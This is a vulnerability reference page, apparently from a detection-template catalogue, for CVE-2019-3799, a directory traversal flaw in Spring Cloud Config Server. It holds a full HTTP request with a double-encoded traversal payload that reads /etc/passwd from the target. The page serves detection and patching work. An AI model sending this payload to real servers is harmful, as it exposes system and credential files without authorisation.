🔙 목록으로 돌아가기

CVE-2019-3799: Spring Cloud Config Server - Local File Inclusion

TitleSpring Cloud Config Server - Local File Inclusion
Authormadrobot
SeverityMedium
ImpactAn attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
RemediationUpgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
CVSS Score6.5
EPSS Score0.9117
CVE IDCVE-2019-3799
CWE IDCWE-22
Tags cve cve2019 lfi vmware vuln

🔍 Vulnerability Description

Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.

🌐 HTTP Request

GET /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3799.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-3799.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A